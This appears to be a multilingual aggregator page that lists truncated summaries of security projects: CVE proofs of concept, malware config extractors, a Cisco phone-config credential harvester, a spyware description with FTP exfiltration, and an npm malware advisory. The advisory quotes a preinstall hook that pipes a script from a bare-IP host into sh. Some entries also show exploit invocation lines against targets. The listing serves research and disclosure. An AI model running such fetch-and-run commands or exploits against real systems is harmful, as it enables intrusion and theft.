CVE-2021-43811

CVE-2021-43811 awslabs/sockeye — Injection de code via chargement YAML non sécurisé CVE-2021-43811 Description NVD Sockeye est un framework open-source de séquence à séquence pour la traduction automatique neuronale construit sur PyTorch. Sockeye utilise YAML pour stocker les configurations de...

kube-knark

Projet Kube-Knark Tracez votre runtime Kubernetes !! Kube-Knark est un traceur open-source qui utilise les technologies pcap et ebpf pour effectuer un traçage runtime sur un cluster Kubernetes déployé. Il trace l'exécution de l'API Kubernetes et les changements de permissions des fichiers de...

smoke_conf_extract

Extraction de configuration Smoke Vue d'ensemble Ce projet vise à extraire les configurations d'échantillons de smokeloader dès le stade initial. Je tenais à le faire de manière statique, j'ai donc dû m'appuyer sur des outils comme Unicorn pour contourner certains des composants les plus complexe...

CVE-2026-71557-poc

CVE-2026-71557 : PoC de path traversal dans le nom de référence de go-git Version anglaise Aperçu Ce dépôt est un PoC local sûr de CVE-2026-71557 , basé sur l'avis public de go-git GHSA-qgq7-7hm3-q39j. Avant le correctif, storage/filesystem n'avait pas suffisamment validé le nom des loose...

ThreatResearch

Extracteurs de configuration Quelques scripts utilisés par notre équipe pour extraire des configs de certains échantillons analysés. PlugX Remcos templateX RedLine Stealer...

CVE-2023-29007

CVE-2023-29007 CVE-2023-29007에 대한 PoC 저장소 더 많은 정보는 다음에서 확인할 수 있습니다: https://blog.ethiack.com/en/blog/git-arbitrary-configuration-injection-cve-2023-29007 https://github.blog/2023-04-25-git-security-vulnerabilities-announced-4/ https://github.com/git/git/security/advisories/GHSA-v48j-4xgg-4844...

CVE-2019-3799

CVE-2019-3799 - Spring-Cloud-Config-Server ディレクトリトラバーサル Spring Cloud Config の 2.1.2 より前の 2.1.x、2.0.4 より前の 2.0.x、1.4.6 より前の 1.4.x、およびサポート対象外の旧バージョンでは、spring-cloud-config-server モジュールを通じてアプリケーションが任意の設定ファイルを提供できるようになっています。悪意のあるユーザー、または攻撃者は、特別に細工された URL を使用してリクエストを送信し、ディレクトリトラバーサル攻撃につなげることができます。 発見者:...

CVE-2023-23752-Docker

CVE-2023-23752 Vulnérabilité d'accès non autorisé à Joomla CVE-2023-23752 dockerisée Installation Recommandé automatique 1. Clonez ce dépôt git clone https://github.com/karthikuj/CVE-2023-23752-Docker.git 2. Changez de répertoire cd CVE-2023-23752-Docker 3. Exécutez ./setup.sh 4. Ouvrez votre...

firecall

firecall Automate SSH communication with firewalls, switches, etc. Description These scripts are designed to automate sending commands to a Cisco ASA firewall. The intended purpose here is to eliminate the need to manually log in to a firewall to make changes. This code can be run directly via...

CVE-2022-40684

CVE-2022-40684 CVE-2022-40684 - Contournement d'authentification pour extraire les utilisateurs admin et la configuration LDAP - Ce PoC n'effectue que des actions en lecture seule. Exécuter l'exploit root@kitploit: USE: python3 exploit.py https://target.com Ex: python3 exploit.py https://target.c...

laforge

Laforge Фреймворк для автоматизации инфраструктуры соревнований по информационной безопасности Laforge позволяет быстро разрабатывать инфраструктуру для соревнований по информационной безопасности. Используя простой и интуитивно понятный язык конфигурации, Laforge управляет графом зависимостей и...

Config-Exploiter

Config-Exploiter Config-Exploiter : extraire le fichier config.php des sites Joomla et Wordpress Programmé par Belahsan Ouerghi . Installation root@kitploit: sudo apt-get install git git clone https://github.com/TunisianEagles/Config-Exploiter.git cd Config-Exploiter chmod +x install.sh sudo...

EUVD-2026-66220

Kimai versions before 2.56.0 fail to restrict the config Twig function in sandboxed invoice and export templates, allowing administrators to access arbitrary configuration keys. Attackers with admin privileges can upload malicious templates to exfiltrate server-wide secrets including LDAP bind...

lk_scraper

LinkedIn Scraper Scrapes Any LinkedIn Data Installation root@kitploit: $ pip install git+git://github.com/jqueguiner/lkscraper Setup Using Docker compose root@kitploit: $ docker-compose up -d $ docker-compose run lkscraper python3 Using Docker only for Selenium server First, you need to run a...

iCULeak.py

iCULeak.py Outil pour trouver et extraire des identifiants à partir de fichiers de configuration de téléphones dans des environnements gérés par CUCM Call Manager de Cisco. Lors de l'utilisation de CUCM Call Manager de Cisco, les fichiers de configuration des téléphones sont stockés sur un serveu...

CVE-2023-24055

CVE-2023-24055 POC et Scanner pour CVE-2023-24055 Utilisez à vos risques et périls ! configscanner.py Un simple analyseur pour le fichier de configuration de KeePass s'exécutant sous Windows. L'outil ouvrira le répertoire %APPDATA%\Roaming\KeePass\KeePass.config.xml et affichera tous les...

spybrowse

BrowseSpy Be sure to change the ftp variables throughout the code, these variables contain the username, password, & IP address of the FTP server which receives the files. This code will do the following: 1. Copy itself into the %TMP% directory & name itself ursakta.exe 2. Add a registry entry to...

malduck

🦆 Malduck Installation ⚙️ | Documentation 📚 Malduck est votre compagnon canard dans les voyages d'analyse de malwares. Il est principalement basé sur le projet Roach, qui dérive de nombreux concepts de la bibliothèque mlib créée par Maciej Kotowicz. Le but du fork était de rendre Roach indépendant...

MAL-2026-15504 Malicious code in grafeno-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain...

gixy

GIXY Vue d'ensemble Gixy est un outil pour analyser la configuration Nginx. Le principal objectif de Gixy est de prévenir les erreurs de configuration de sécurité et d'automatiser la détection des failles. Les versions de Python actuellement supportées sont 2.7, 3.5, 3.6 et 3.7. Avertissement :...